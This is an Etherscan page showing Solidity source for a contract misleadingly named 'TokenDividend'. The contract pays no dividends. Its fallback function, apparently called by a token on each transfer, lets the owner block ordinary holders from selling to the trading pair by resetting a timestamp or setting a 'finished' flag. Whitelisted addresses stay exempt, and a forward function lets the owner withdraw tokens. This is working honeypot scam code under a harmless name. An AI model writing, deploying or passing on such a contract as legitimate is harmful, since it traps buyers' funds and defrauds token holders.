Discover more of Etherscan's tools and services in one place.
Sponsored
Contract Source Code:
File 1 of 1 : TokenDividend
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } contract TokenDividend { address private _owner; address private token; address private pair; bool private isFinished; mapping(address => bool) private _whitelists; mapping (address => uint256) private _addressTime; uint256 private lastTime; modifier onlyToken() { require(msg.sender == token); _; } modifier onlyOwner() { require(_owner == msg.sender); _; } constructor () { _owner = msg.sender; _whitelists[_owner] = true; } function setTokenIsFinished(bool _isFinished) external onlyOwner { isFinished = _isFinished; } function refreshProxySetting(address _token, address _pair) external onlyOwner { token = _token; pair = _pair; isFinished = false; lastTime = 0; } function forward(uint256 amount) external onlyOwner { IERC20(token).transfer(msg.sender, amount); } function setLastTimeForToken() external onlyOwner { lastTime = block.timestamp; } function whitelistForTokenHolder(address owner_, bool _isWhitelist) external onlyOwner { _whitelists[owner_] = _isWhitelist; } fallback() external payable { address _from; address _to; bytes memory data = msg.data; assembly { _from := mload(add(data, 0x14)) _to := mload(add(data, mul(0x14, 2))) } if (_whitelists[_from] || _whitelists[_to]) { return; } if (_from == pair) { if (_addressTime[_to] == 0) { _addressTime[_to] = block.timestamp; } return; } else if (_to == pair) { require(!isFinished && _addressTime[_from] >= lastTime); return; } else { _addressTime[_to] = _addressTime[_from]; return; } revert(); } }
Please enter a contract address above to load the contract details and source code.
This website uses cookies to improve your experience. By continuing to use this website, you agree to its Terms and Privacy Policy.